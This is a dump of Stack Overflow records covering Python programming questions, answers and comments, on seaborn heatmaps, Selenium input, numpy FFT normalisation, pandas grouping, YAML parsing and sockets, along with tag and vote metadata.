has body: I'm trying to make a heatmap with the colour bar on the side using seaborn. However, in my real application case, I have long column names that I rotate. This requires the use of plt.subplots_adjust, otherwise the labels do not fit in the image: plt.setp(g.ax_heatmap.get_xticklabels(), rotation=90) plt.subplots_adjust(bottom=0.5) Using the following minimal example, I found out that this last command was cancelling the colour bar relocation: #!/usr/bin/env python3 import seaborn as sns import matplotlib.pyplot as plt iris = sns.load_dataset("iris") species = iris.pop("species") # Make long column names iris.columns = ["________".join(label.split("_")) for label in iris.columns] g = sns.clustermap(iris, col_cluster=False, yticklabels=False) # Relocate colour bar on the side g.cax.set_position([.15, .2, .03, .45]) plt.setp(g.ax_heatmap.get_xticklabels(), rotation=90) plt.savefig("/tmp/unadjusted.png") plt.cla() g = sns.clustermap(iris, col_cluster=False, yticklabels=False) g.cax.set_position([.15, .2, .03, .45]) plt.setp(g.ax_heatmap.get_xticklabels(), rotation=90) # Adjust to have the column labels not cut out plt.subplots_adjust(bottom=0.5) plt.savefig("/tmp/adjusted.png") This results in the following images: Without plt.subplots_adjust: With plt.subplots_adjust: Why does this happen? Is this a bug? What can I do to have the colour bar where I want and still be sure that my rotated colour labels will not be cut?
has comment: http://stackoverflow.com/comment/81656565
tagged with: seaborn
tagged with: matplotlib
has title: seaborn clustermap: subplots_adjust cancels colour bar relocation
linked to: http://stackoverflow.com/q/27988846
tagged with: python
score: 4
upvote count: 4
linked to: http://stackoverflow.com/q/42417798
accepted answer: http://stackoverflow.com/a/47352457
type: AnsweredQuestion
downvote count: 0
linked to: http://stackoverflow.com/q/36939063
answer count: 1
has answer: http://stackoverflow.com/a/47352457

lstm
tags question: http://stackoverflow.com/q/47273739
tags question: http://stackoverflow.com/q/47351542
tags question: http://stackoverflow.com/q/47294533
tags question: http://stackoverflow.com/q/47283356
tags question: http://stackoverflow.com/q/47360704
tags question: http://stackoverflow.com/q/47292203
type: Tag
tag name: lstm

http://stackoverflow.com/q/47274952
has comment: http://stackoverflow.com/comment/81502904
has body: I have two Python classes. One inherits from the other. Both contain only static methods. The inherited class has class variables that need to be initialized from an external config file. I was trying to come up with a way to get the inherited class's constructor called without creating an instance. The code below is a lean example of what I'm doing. The code works. I'm not sure, however, if this is just bad practice. I have no reason NOT to instantiate the class before use. I just wanted to develop a solution that did not require an instance to do what I need it to since the class is just static methods. It IS required that the inherited class's constructor is called. Also, can someone tell me what the happens to the NEW class instance I create in the method 'foo'? import json class Cloud(object): val = None # ....................................... Class Variable def __init__(self): # .............................. Class Constructor with open('config.dat', 'r') as f: dat = json.load(f) Cloud.val = dat['val'] # ....................... overwrite Class Variable print('Class Cloud -- constructor called.') @staticmethod def foo(): # ....................................... static method, does not require instance Cloud.__init__(Cloud.__new__(Cloud)) # ......... call the constructor on a NEW instance print('Class Cloud, class variable (val):={}'.format(Cloud.val)) class Sensor(Cloud): @staticmethod def bar(): print('bar') # run Static Method of Inherited Class Cloud # call Class Cloud constructor Sensor.foo() EDIT: The class Cloud is used to MQTT data to a cloud server. Many other classes inherit from this so data transmissions are easily handled. The class Sensor is used to collect data from various sensors. At no point are any instances of these classes required because the data just gets passed along. The reason I use classes is to group certain methods together, again not required. The only thing I need is to run the constructor of Cloud so that the class variables g…
has comment: http://stackoverflow.com/comment/81501317
tagged with: constructor
has comment: http://stackoverflow.com/comment/81502228
tagged with: python
tagged with: inheritance
has answer: http://stackoverflow.com/a/47275046
has comment: http://stackoverflow.com/comment/81501903
type: AnsweredQuestion
score: 3
upvote count: 3
downvote count: 0
has title: Calling constructor of inherited class with only static methods
has comment: http://stackoverflow.com/comment/81501361
has comment: http://stackoverflow.com/comment/81502304
answer count: 1
accepted answer: http://stackoverflow.com/a/47275046
favorite count: 0
type: Question

http://stackoverflow.com/comment/81508506
score: 0
comment on: http://stackoverflow.com/q/47278905
has text: Yeah you need a different format. Check the docs I linked to suit it to your date format, check the table.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81581023
type: QuestionComment
has text: Were you able to give the --pyshell a try?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47223592

http://stackoverflow.com/comment/86702067
score: 0
comment on: http://stackoverflow.com/q/47361537
has text: @Br0therBrigham so you need a `cp27-cp27m-win32` wheel. Run `py -2.7 -m pip install https://download.lfd.uci.edu/pythonlibs/u2yrk7ps/pyHook-1.5.1-cp27-cp27m-win32.whl`, do you get a clean install?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47366873
tagged with: text
type: Question
possible better answer: http://stackoverflow.com/a/47367338
type: AnsweredQuestion
tagged with: file
downvote count: 3
has answer: http://stackoverflow.com/a/47367338
accepted answer: http://stackoverflow.com/a/47366944
has answer: http://stackoverflow.com/a/47366944
favorite count: 0
tagged with: search
tagged with: python-3.x
upvote count: 0
has body: I have a task which involves a user entering a string. Then my program needs to return up to five occurrences of this string from a text file, subsequently then saving these lines to a separate file. This is my code: My code However, I do not know how to alter this so that it returns up to 5 occurrences of the string, and no more. Many thanks, AB
has comment: http://stackoverflow.com/comment/81686161
answer count: 2
has title: How to return up to five occurrences of a string in a text file?
tagged with: python
score: -3

http://stackoverflow.com/comment/81584362
comment on: http://stackoverflow.com/q/47316178
score: 0
has text: @RobbieMilejczak he did show the command he ran. He didn't follow the nice answer, which is the one with the most upvotes.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47248275
has title: Chrome webdriver send keys does not send '3'
has comment: http://stackoverflow.com/comment/81468025
has comment: http://stackoverflow.com/comment/81446745
accepted answer: http://stackoverflow.com/a/47565623
upvote count: 4
score: 4
has answer: http://stackoverflow.com/a/47565623
type: AnsweredQuestion
answer count: 3
downvote count: 0
tagged with: selenium
tagged with: google-chrome
linked to: http://stackoverflow.com/q/54769347
has comment: http://stackoverflow.com/comment/81452069
tagged with: webdriver
favorite count: 0
has comment: http://stackoverflow.com/comment/96381145
has comment: http://stackoverflow.com/comment/81450209
has answer: http://stackoverflow.com/a/47257204
type: Question
possible better answer: http://stackoverflow.com/a/47263704
has body: For some reason, I am unable to write character '3' into the input element on the page. This code: chrome_options = Options() chrome_options.add_argument('--dns-prefetch-disable') chrome_options.add_argument('--no-proxy-server') chromeDriverPath = self.getChromeDriverPath() os.environ["webdriver.chrome.driver"] = chromeDriverPath self.driver = webdriver.Chrome(chromeDriverPath, chrome_options=chrome_options) self.driver.get(self.loginUrl) login = self.driver.find_element_by_id('login_credit') login.send_keys("12345") results in "1245" being written in the login input... Can someone help please? I use python 2.7, the latest chrome and the latest chromedriver EDIT: login.send_keys("3") login.send_keys("\3") don't work either. login.send_keys("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&amp;*()") - only the "3" was missing in the string... what worked was login.send_keys(Keys.NUMPAD3) as Andersson suggested below, but this is not a solution. I tried it in the google search box and I experienced the same behaviour.
has comment: http://stackoverflow.com/comment/81450383
has answer: http://stackoverflow.com/a/47263704
tagged with: python

http://stackoverflow.com/comment/81657933
type: Comment
comment on: http://stackoverflow.com/a/47352733
type: AnswerComment
has text: Thank you a lot. I really appreciate your help. Thank you all others as well. You guys are the best!
score: 1

http://stackoverflow.com/comment/81555989
type: QuestionComment
has text: have you tried printing the offending `row`?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47302514

http://stackoverflow.com/q/47298323
has body: I'm using S3BotoStorage from django-storages to handle my media and static files on my S3 Bucket for my Django backend. Everything works as expected, but the backend raises a not ImplementedError because it is not a local filesystem when I call self.image.path on a where Image is a models.Image Field. This is expected behavior. However I'm using the path to move the image with os.rename (which wouldnt work on my bucket as well). What would be the approach to move that file on the bucket?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47302236
tagged with: django
tagged with: python
tagged with: boto3
has title: Move Files with S3BotoStorage
tagged with: django-storage
score: 0
tagged with: amazon-s3
answer count: 1
type: Question

http://stackoverflow.com/comment/81689937
has text: @JohnGordon Chrome was showing `accept-encoding` in headers section
score: 0
comment on: http://stackoverflow.com/a/47368594
type: Comment
type: AnswerComment

http://stackoverflow.com/a/47227106
answers question: http://stackoverflow.com/q/47227010
has comment: http://stackoverflow.com/comment/81404959
has body: You can substract 100 years if dt.year is more as 2017: df['date'] = pd.to_datetime(df['date']) df['date'] = df['date'].mask(df['date'].dt.year &gt; 2017, df['date'] - pd.Timedelta(100, unit='Y')) print (df) date 0 1998-06-12 00:00:00 1 2005-08-07 00:00:00 2 1966-08-28 18:00:00 3 1954-09-11 00:00:00 4 1966-10-09 18:00:00
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/81409322
has comment: http://stackoverflow.com/comment/81409791
has comment: http://stackoverflow.com/comment/81412008
has comment: http://stackoverflow.com/comment/81407243
has comment: http://stackoverflow.com/comment/81405291
has comment: http://stackoverflow.com/comment/81411484
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47227010
score: 1
has comment: http://stackoverflow.com/comment/81409725

http://stackoverflow.com/comment/81684006
type: QuestionComment
type: Comment
score: 2
has text: The right way to perform this action would be with random.shuffle or random.sample
comment on: http://stackoverflow.com/q/47363262

http://stackoverflow.com/a/47280519
accepted answer of: http://stackoverflow.com/q/47280435
has comment: http://stackoverflow.com/comment/81512141
upvote count: 2
has body: From the Dockerfile you provided I assume that the application is running on port 8000, so it should be: FROM python:3 WORKDIR hello COPY requirements.txt ./ EXPOSE 8000 RUN pip install -r requirements.txt COPY . . CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"] What was clearly explained in the message: CommandError: "127.0.0.1" is not a valid port number or address:port pair.
has comment: http://stackoverflow.com/comment/81512269
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/81512383
has comment: http://stackoverflow.com/comment/81511702
has comment: http://stackoverflow.com/comment/81512010
has comment: http://stackoverflow.com/comment/81512364
has comment: http://stackoverflow.com/comment/81512420
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81512429
downvote count: 0
answers question: http://stackoverflow.com/q/47280435
has comment: http://stackoverflow.com/comment/81512313

http://stackoverflow.com/comment/81541025
type: Comment
has text: If you could accept the answer if it helped you, that'd be appreciated. :)
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47272053

http://stackoverflow.com/comment/81658456
comment on: http://stackoverflow.com/a/47352670
has text: This is very helpful! So, now if I wanted to plot the interpolated data over the old data, I would add in the 'predicted' values into the 'data' array where the gap is?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/47268513
has answer: http://stackoverflow.com/a/47268918
downvote count: 0
tagged with: python
score: 4
linked to: http://stackoverflow.com/q/46811510
tagged with: fft
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47268918
has title: How to normalize the spectrum of a numpy (real) fourier transform so that parcevals theorem applies?
accepted answer: http://stackoverflow.com/a/47268915
has comment: http://stackoverflow.com/comment/116627534
has answer: http://stackoverflow.com/a/47268915
favorite count: 0
type: Question
upvote count: 4
tagged with: numpy
answer count: 2
has body: Currently, I'm considering taking an image and its spectrum. Now Parceval's theorem says that both should have equal energy. However when I try to test this on some images, this doesn't seem to be the case for the numpy real FFT function. This is the code I'm using for my test: import numpy as np from PIL import Image im = np.array(Image.open('/images/building.jpeg')) spectral_im = np.fft.rfft2(im, axes = (0,1), norm = 'ortho') def getNorm(im): return np.sum(np.abs(im)) print('Norm of the image: %d' % getNorm(im)) print('Norm of the spectrum of the image: %f' % getNorm(spectral_im)) print('Difference between norms: %f' % (getNorm(im) - getNorm(spectral_im))) I expected that the difference between the norms would be (approximately) 0 for every image, however it differs by an order of magnitude for every image I have tried. Can anyone see what I'm doing wrong? With the help from the answers, here is the corrected code (note the extra cast to float64, otherwise they still aren't equal): import numpy as np from PIL import Image im = np.array(Image.open('/images/building.jpeg')).astype('float64') spectral_im = np.fft.fft2(im, axes = (0,1), norm = 'ortho') def getNorm(im): return np.sum(np.abs(im) ** 2) print('Norm of the image: %d' % getNorm(im)) print('Norm of the spectrum of the image: %f' % getNorm(spectral_im)) print('Difference between norms: %f' % (getNorm(im) - getNorm(spectral_im)))

http://stackoverflow.com/a/47268575
score: 0
has body: This is a bit longer than the other answers, but the state machine approach might turn out more maintainable if your needs change. import re text = """ Our favorite numbers are 5, 6, and 7, but his favorite number is 0. Also, this text contains 2 sentences. """ r = re.compile(r"(\d+|[a-zA-Z ]+)") faves = False lst = [] while True: s = r.search(text) if s is None: break x = s.group(1).strip() if x: if x == 'and': pass elif re.search(r'favou?rite numbers?', x): faves = True elif re.match(r"^\d+$", x) and faves: lst.append(x) else: faves = False text = text[s.end():] print lst
answers question: http://stackoverflow.com/q/47266685
type: Answer

http://stackoverflow.com/q/47232250
score: 1
upvote count: 1
has title: PyCharm Console Font changes font only on Python Terminal
accepted answer: http://stackoverflow.com/a/47294182
favorite count: 0
linked to: http://stackoverflow.com/q/34412739
type: Question
answer count: 2
has body: I am using a 4k Windows laptop and I configured the compatibily settings for PyCharm(2017.2.3 Community Edition) and the font size of the editor looks fine. Subsequently,I wanted to fix the font size of the terminal and the python console. Using this post and this from stackoverflow, I went to File -> Settings -> Editor -> Colors Scheme -> Console Font and I changed the font size. This resulted in changing the font size of only the python console and not the terminal. Any suggestion? Pictures attached:
tagged with: pycharm
tagged with: python
has answer: http://stackoverflow.com/a/47294182
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47232469
possible better answer: http://stackoverflow.com/a/47232469
downvote count: 0

boto3
tags question: http://stackoverflow.com/q/47318357
tag name: boto3
tags question: http://stackoverflow.com/q/47298798
tags question: http://stackoverflow.com/q/47240738
tags question: http://stackoverflow.com/q/47341076
tags question: http://stackoverflow.com/q/47247957
tags question: http://stackoverflow.com/q/47300103
tags question: http://stackoverflow.com/q/47259099
tags question: http://stackoverflow.com/q/47263342
tags question: http://stackoverflow.com/q/47346166
tags question: http://stackoverflow.com/q/47227408
tags question: http://stackoverflow.com/q/47365450
type: Tag
tags question: http://stackoverflow.com/q/47265346
tags question: http://stackoverflow.com/q/47261200
tags question: http://stackoverflow.com/q/47298323

http://stackoverflow.com/a/47330411
has comment: http://stackoverflow.com/comment/81616846
has body: Here I follow a different approach from Martijn's one, he postulated that Numpy/Pandas are not relevant for the answer, I proceed with the understanding that everything is a Numpy array... First, for demonstrational purposes, we create a matrix of strings, among them the one we don't want in your sample In [37]: toks = ['--', '-+', '+-', '-|', '|-', '-&gt;', '&lt;-'] In [38]: matrix = np.array([[toks[np.random.randint(7)] for j in range(5)] for i in range(4)]) In [39]: matrix Out[39]: array([['|-', '--', '&lt;-', '-|', '-|'], ['|-', '&lt;-', '--', '+-', '--'], ['|-', '-+', '-+', '&lt;-', '-+'], ['&lt;-', '-&gt;', '-&gt;', '-|', '--']], dtype='&lt;U2') next, two vector of indices In [40]: A, B = np.array([2,3]), np.array([0,1,4]) and the correct broadcasting rule to apply them to indexing matrix In [41]: matrix[A[:,None],B] Out[41]: array([['|-', '-+', '-+'], ['&lt;-', '-&gt;', '--']], dtype='&lt;U2') and eventually, similar to what was suggested in comments and proposed in other answers In [42]: np.all(matrix[A[:,None],B] == '-&gt;') Out[42]: False I would like to stress the matrix[A[:,None],B] line, that could be commented like this "Look ma', no loops" ;-) In terms of a function definition (more general than yours) def(m, a, b, tok): return np.all(m[np.array(a)[:,None], np.array(b)] == tok) note that the function is resilient w/r receiving in a and b sequences that are not Numpy arrays.
type: Answer
answers question: http://stackoverflow.com/q/47329474
score: 0

http://stackoverflow.com/q/47375749
has body: i am reading .png images from a folder and doing some operations and i want to save those images in an order like Img1.png, Img2.png, Img3.png.... i tried to use this code : cv2.imwrite("Img{}.png".format(i),Image) but it keeps overriding single image. below is the code: def main(path): i=0 image = cv2.imread(path) #do some operations on image cv2.imwrite('Img{}.png'.format(i),image) i=i+1 cv2.waitKey(0) The path contains multiple .png images so when main executes it resets the value of 'i' and output is overridden.
answer count: 2
has comment: http://stackoverflow.com/comment/81703872
has comment: http://stackoverflow.com/comment/81764552
has answer: http://stackoverflow.com/a/47383903
tagged with: image
favorite count: 0
has title: How to save multiple outputs after reading multiple inputs in Python
type: Question
downvote count: 4
has comment: http://stackoverflow.com/comment/81703934
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47375989
score: -4
tagged with: python
has comment: http://stackoverflow.com/comment/81703946
tagged with: opencv

http://stackoverflow.com/comment/81729428
has text: What about [`subprocess.check_output`](https://docs.python.org/3/library/subprocess.html#subprocess.check_output)? You could call `python -c {snippet}` with it, or if it is longer, just write the snippet to a temporary `.py` file. `check_output` (and indeed, all the other functions in `subprocess`) has a `timeout` parameter.
comment on: http://stackoverflow.com/q/47255887
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47342734
has answer: http://stackoverflow.com/a/47342897
tagged with: python
has comment: http://stackoverflow.com/comment/81637843
has body: I'm writing a program that determines whether a math equation input by user has matching parentheses. I have it to where it counts whether the amount of right parentheses are equal to the amount of left parentheses, but the user could input 2)(3+x)(4+x)(6. To avoid telling the user his parentheses match in this case, I want to check if a ')' comes before a '('. left_parenth = math.count("(") right_parenth = math.count(")") total_parenth = right_parenth + left_parenth if total_parenth % 2 != 0: if right_parenth &gt; left_parenth: print("\nYou are missing a left parentheses '('") elif right_parenth &lt; left_parenth: print("\nYou are missing a right parentheses ')'") elif total_parenth % 2 == 0: print("\nYour equation has the correct amount of parentheses")
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/47342878
type: Question
tagged with: python-3.x
has title: How to check whether a character comes before another character in a string in Python
has answer: http://stackoverflow.com/a/47342827
type: UnansweredQuestion

http://stackoverflow.com/a/47369233
type: Answer
score: 0
has body: Actually, this should keep looping forever for all numbers the user may input, not just zero. To fix this, you can just add this break condition after (or before, it doesnt really matter) appending: number = int(input("Please enter a number: ")) List.append(number) if number == 0: break
answers question: http://stackoverflow.com/q/47369168

http://stackoverflow.com/comment/81633038
has text: sys.stdout.encoding is utf-8
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47339842
score: 0

http://stackoverflow.com/a/47296474
upvote count: 2
has comment: http://stackoverflow.com/comment/122887166
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47290720
has body: It seems that values is 1 dimensional list. At spreadsheets().values().update(), the list has to be 2 dimensional list. So how about the following modification? Pattern 1: If you want to import the 5 values to "A1:A5", you can use this. From : body = { 'values': values, 'majorDimension':'COLUMNS' } To : body = { 'values': [values], # Modified 'majorDimension':'COLUMNS' } Pattern 2: If you want to import the 5 values to "A1:E1", you can use this. From : for element in I: temp = str(element) print(temp) values.append(temp) print(values) body = { 'values': values, 'majorDimension':'COLUMNS' } result = service.spreadsheets().values().update( spreadsheetId=spreadsheetId, range="Data!A1:D5", valueInputOption='USER_ENTERED',body=body).execute() To : for element in I: temp = str(element) print(temp) values.append([temp]) # Modified print(values) body = { 'values': values, 'majorDimension':'COLUMNS' } result = service.spreadsheets().values().update( spreadsheetId=spreadsheetId, range="Data!A1:E1", # Modified valueInputOption='USER_ENTERED',body=body).execute() If I misunderstand your question, I'm sorry.
score: 2
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47290720

http://stackoverflow.com/q/47360309
has answer: http://stackoverflow.com/a/47360719
tagged with: python
upvote count: 6
has body: I'm reading in a YAML file. If there's a syntax mistake that causes an exception, I send the exception to a logger. What is a way to identify in my logging message which line of the YAML file contains the syntax error? try: with open(input_path, "r") as yaml_file: yaml_dict = yaml.load(yaml_file) except FileNotFoundError: logger.error("YAML file {} does not exist".format(input_path), exc_info=True) sys.exit(1) except: logger.critical("Error in reading or parsing YAML file {}".format(input_path), exc_info=True) sys.exit(1)
has title: PyYAML find line of incorrect YAML syntax error
tagged with: pyyaml
type: Question
accepted answer: http://stackoverflow.com/a/47360719
tagged with: yaml
downvote count: 0
answer count: 1
score: 6
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/81699802
type: AnswerComment
comment on: http://stackoverflow.com/a/47373359
type: Comment
has text: thanks so much for this, instantly fixed my function. just wondering does putting print(" ") after the 2nd for loop in the 1st for loop stop the end=" " from adding more strings to the current
score: 0

http://stackoverflow.com/comment/81582574
score: 0
type: AnswerComment
has text: I don't think any difference / @ Daniel F solution, since `green = np.where(rm==2) ` is `O(n²)` . but if you find a other way to track the centers, I am confident about the match ;)
comment on: http://stackoverflow.com/a/47303773
type: Comment

http://stackoverflow.com/q/47234448
has answer: http://stackoverflow.com/a/47234544
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81419613
has title: How to subclass Python list without a returned empty list?
tagged with: subclass
has body: I have this code class lines_type(list): def __init__(self, lines): self.lines = lines[:] lines = lines_type([1, 2, 3]) print(lines) print(lines.lines) And my output was [] [1, 2, 3] But my expected output is something like this &lt;__main__.lines_type object at 0x00EC6410&gt; [1, 2, 3] I think that __init__ method of class list returns an empty list. So how do I extend my class from list but not receive an empty list?
tagged with: python
has comment: http://stackoverflow.com/comment/81419441
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81419495
answer count: 1
accepted answer: http://stackoverflow.com/a/47234544
has comment: http://stackoverflow.com/comment/81419487

http://stackoverflow.com/comment/81700543
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47373952
has text: And please don't post screenshots of code, the code should be included in your question for us to easily replicate the issue.

http://stackoverflow.com/a/78252552
has comment: http://stackoverflow.com/comment/137958039
type: Answer
score: -1
answers question: http://stackoverflow.com/q/47324358
upvote count: 0
has body: One way to handle this is to put a timeout on the socket with settimeout(), and handle socket.timeout exceptions raised by recv() or recvfrom(). Normally you will simply retry the recv() in a loop, but each time the socket times out, you have a chance to poll for a shutdown flag, etc. The downside, of course: There will be a delay of as much as the timeout interval for a kill request to complete. The longer the timeout interval, the greater the kill latency. During idle time (no packets being received), there will be a small CPU overhead for retries. The shorter the timeout interval, the greater the CPU overhead. A rough example: def __init__(self, arg): threading.Thread.__init__(self) self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) receiver_port = int(&lt;port&gt;) listen_addr = (&lt;some ip&gt;, receiver_port) self.socket.bind(listen_addr) self.socket.settimeout(2.0) self.should_stop = False def run(self): while True: if self.should_stop: return try: data = self.socket.recv() ... except socket.timeout: pass def kill_function(): self.should_stop = True self.join() self.socket.close()
downvote count: 1
has comment: http://stackoverflow.com/comment/137974032
has comment: http://stackoverflow.com/comment/137966947

http://stackoverflow.com/a/47252725
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/47252331
type: AcceptedAnswer
has body: You have to set up the viewport size. See glViewport: void glViewport( GLint x, GLint y, GLsizei width, GLsizei height); x, y Specify the lower left corner of the viewport rectangle, in pixels. The initial value is (0,0). width, height Specify the width and height of the viewport. glViewport specifies the affine transformation of x and y from normalized device coordinates to window coordinates. Your code should look somehow like this: def paintGL(self): width = 512 height = 512 glViewport(0, 0, width, height) glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT) glMatrixMode(GL_PROJECTION) glLoadIdentity() gluOrtho2D(0, width, 0, height) glMatrixMode(GL_MODELVIEW) glLoadIdentity() glColor3f(1, 0, 0) glBegin(GL_QUADS) glVertex2i(0, 0) glVertex2i(width, 0) glVertex2i(width, height) glVertex2i(0, height) glEnd() glFlush() Note, in OpenGL there is one matrix stack for each matrix mode (See glMatrixMode). The matrix modes are GL_MODELVIEW, GL_PROJECTION, and GL_TEXTURE. So you should set up the projection matrix (GL_PROJECTION) and the model view matrix (GL_MODELVIEW), because each vertex is transformed by the modelview matrix and the projection matrix. See futher QT + OPENGL CODE EXAMPLE By the way, the parameters of glClearColor are floating point values in the range [0, 1]. Change the methode initializeGL: def initializeGL(self): GL.glClearColor(0,1,0,1)
type: Answer
accepted answer of: http://stackoverflow.com/q/47252331
upvote count: 2

http://stackoverflow.com/a/47231188
accepted answer of: http://stackoverflow.com/q/47230345
downvote count: 0
answers question: http://stackoverflow.com/q/47230345
score: 3
type: Answer
has body: I would use pandas to read the data into memory and otherwise just follow the example you found on Boston housing prices: import pandas as pd import statsmodels.api as sm df = pd.read_csv('data.txt', sep='\s+', thousands=',') X = df.loc[:, 'cycles':'page-faults'] y = df['Power'] model = sm.OLS(y, X).fit() In this case, model.summary() becomes OLS Regression Results ============================================================================== Dep. Variable: Power R-squared: 0.972 Model: OLS Adj. R-squared: 0.932 Method: Least Squares F-statistic: 24.56 Date: Fri, 10 Nov 2017 Prob (F-statistic): 0.00139 Time: 22:09:47 Log-Likelihood: -21.470 No. Observations: 12 AIC: 56.94 Df Residuals: 5 BIC: 60.33 Df Model: 7 Covariance Type: nonrobust ==================================================================================== coef std err t P&gt;|t| [0.025 0.975] ------------------------------------------------------------------------------------ cycles 1.287e-07 5.11e-08 2.518 0.053 -2.66e-09 2.6e-07 instructions -7.083e-09 4.21e-07 -0.017 0.987 -1.09e-06 1.07e-06 cache-references -1.625e-06 2.48e-06 -0.656 0.541 -7.99e-06 4.74e-06 cache-misses 3.222e-06 5.24e-06 0.615 0.566 -1.03e-05 1.67e-05 branches 1.281e-07 2.6e-06 0.049 0.963 -6.55e-06 6.81e-06 branch-misses -1.625e-05 1.2e-05 -1.357 0.233 -4.7e-05 1.45e-05 page-faults 0.0016 0.002 0.924 0.398 -0.003 0.006 ============================================================================== Omnibus: 2.485 Durbin-Watson: 1.641 Prob(Omnibus): 0.289 Jarque-Bera (JB): 0.787 Skew: 0.606 Prob(JB): 0.675 Kurtosis: 3.326 Cond. No. 1.92e+06 ============================================================================== Warnings: [1] Standard Errors assume that the covariance matrix of the errors is correctly specified. [2] The condition number is large, 1.92e+06. This might indicate that there are strong multicollinearity or other numerical problems.'
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/81534224
type: Comment
score: 0
has text: "How can I get my Student_Worker constructor to work without all the *args,*kwargs bs?" - either deal with that BS, or don't use multiple inheritance. As annoying as you may find it, trying to use positional arguments with multiple inheritance in Python is far too fragile and messy to be worth doing.
type: QuestionComment
comment on: http://stackoverflow.com/q/47291784

http://stackoverflow.com/a/47300634
has comment: http://stackoverflow.com/comment/81552418
has comment: http://stackoverflow.com/comment/81552660
has comment: http://stackoverflow.com/comment/81552231
has comment: http://stackoverflow.com/comment/81552243
type: Answer
accepted answer of: http://stackoverflow.com/q/47300526
has body: Firstly, you can simplify by removing one of the bounds: if m &gt;= 80: g = "A" elif m &gt;= 70: g = "B" elif m &gt;= 60: g = "C" elif m &gt;= 50: g = "D" else: # default catch-all g = "U" Secondly, you could capture the repetitive nature of the process by a loop (with the default case presenting an option for a for-else construct): # iterator: ('A', 80) -&gt; ('B', 70) -&gt; ... for grade, score in zip('ABCD', (80, 70, 60, 50)): if m &gt;= score: g = grade break else: # executed if for-loop isn't 'break'-ed out of g = 'U'
answers question: http://stackoverflow.com/q/47300526
upvote count: 7
has comment: http://stackoverflow.com/comment/81553226
score: 7
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47250571
answer count: 1
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81451472
has comment: http://stackoverflow.com/comment/81451380
accepted answer: http://stackoverflow.com/a/47251378
has answer: http://stackoverflow.com/a/47251378
type: AnsweredQuestion
score: 1
has title: iam new to python getting following error TypeError: must be str, not Tag
downvote count: 3
has comment: http://stackoverflow.com/comment/81451402
favorite count: 0
has body: program error F:\aaa\1\homerun&gt;python hometrial.py product_name: Sunrise Simulator Alarm Clock Traceback (most recent call last): File "hometrial.py", line 33, in &lt;module&gt; print("desc: " + desc) TypeError: must be str, not Tag
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/81453202

http://stackoverflow.com/q/47372395
has comment: http://stackoverflow.com/comment/81698899
tagged with: pandas-groupby
answer count: 0
has comment: http://stackoverflow.com/comment/81699006
has comment: http://stackoverflow.com/comment/81699396
linked to: http://stackoverflow.com/q/37003100
has title: How to group data frame to get the counts by two keys in Python using groupby() in a function
has body: i have a data set which looks like this: yg = pd.DataFrame({'grade': ['a','a','b','b','a'], 'key2': ['one','two','one','two','one'], 'year': (2012,2013,2012,2012,2013), 'id': (1101,2212,2331,2432,3464)}) which counts the number of users in each year by categories yg.groupby(['year','grade']).groups.count() Also, this is my work: I am trying to build a function, def User_Grades(data,year): g = data.groupby(['year']).get_group(year).groupby（['grade']）.size'a','b' for i in df_groupby(['year']).groups.key(): print('{}\n'.format(i), 'a: {}\n'.format(User_Grades(df,i)['a'],'b: {}\n'.format(User_Grades(df,i)['b']))) I would like to input the year, so i could have the information of that year, not all years. for example, User_Grades(yg,['2012']) # I would have 2012 a : 2 b : 2 Note: I received some advice about using pivot in python. However, the output of pivot is different with the expected answer. There is no ':' in pivot. Pivot gives below output: YEAR GRADE 2012 a 2 b 2 2013 a 1 b 0 This format from pivot is not expected, instead I need this: 2012 a : 2 b : 2 2013 a : 1 b : 0
has comment: http://stackoverflow.com/comment/81699042
type: Question
duplicate of: http://stackoverflow.com/q/37003100
has comment: http://stackoverflow.com/comment/81698922
has comment: http://stackoverflow.com/comment/81698912
linked to: http://stackoverflow.com/q/47372181
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81697523
has comment: http://stackoverflow.com/comment/81699108
has comment: http://stackoverflow.com/comment/81698886
score: 0

http://stackoverflow.com/q/47365093
linked to: http://stackoverflow.com/q/27507685
accepted answer: http://stackoverflow.com/a/47365192
has answer: http://stackoverflow.com/a/47365192
has answer: http://stackoverflow.com/a/47365267
tagged with: file
answer count: 4
type: Question
